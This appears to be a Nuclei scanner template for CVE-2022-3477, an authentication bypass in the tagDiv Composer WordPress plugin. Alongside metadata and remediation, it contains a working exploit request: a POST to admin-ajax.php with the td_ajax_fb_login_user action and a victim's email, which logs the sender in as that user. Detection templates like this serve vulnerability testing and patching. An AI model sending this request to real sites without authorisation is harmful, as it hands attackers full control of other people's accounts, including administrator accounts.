WordPress tagDiv Composer < 3.5 - Authentication Bypass

id: CVE-2022-3477

info:
  name: WordPress tagDiv Composer < 3.5 - Authentication Bypass
  author: melmathari
  severity: critical
  description: |
    The tagDiv Composer WordPress plugin before 3.5, required by the Newspaper WordPress theme before 12.1 and Newsmag WordPress theme before 5.2.2, does not properly implement the Facebook login feature, allowing unauthenticated attackers to login as any user by just knowing their email address
  impact: |
    Unauthenticated attackers who know a user's email address can bypass authentication through the Facebook login feature to gain complete access to any user account including administrator accounts on WordPress sites using tagDiv Composer.
  remediation: Fixed in 3.5
  reference:
    - https://wpscan.com/vulnerability/993a95d2-6fce-48de-ae17-06ce2db829ef
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3477
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-3477
    cwe-id: CWE-287
    epss-score: 0.03546
    epss-percentile: 0.87885
    cpe: cpe:2.3:a:newsmag_project:newsmag:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: newsmag_project
    product: newsmag
    framework: wordpress
  tags: cve,cve2022,wordpress,wp-plugin,wpscan,wp,auth-bypass,tagdiv,vkev,vuln

variables:
  email: "{{email}}"  # victim's email address required.

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=td_ajax_fb_login_user&user[email]={{email}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":"You have been successfully logged in!'

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c5d5a74fdf105232cfc1a3710ea39750a92a5ab00b5abcfc14749fbea4f7705902202bfe0955463fae103b3881316b7564371a3e7f319ee7b849fd9cf4aabfd672ab:922c64590222798bb761d5b6d8e72950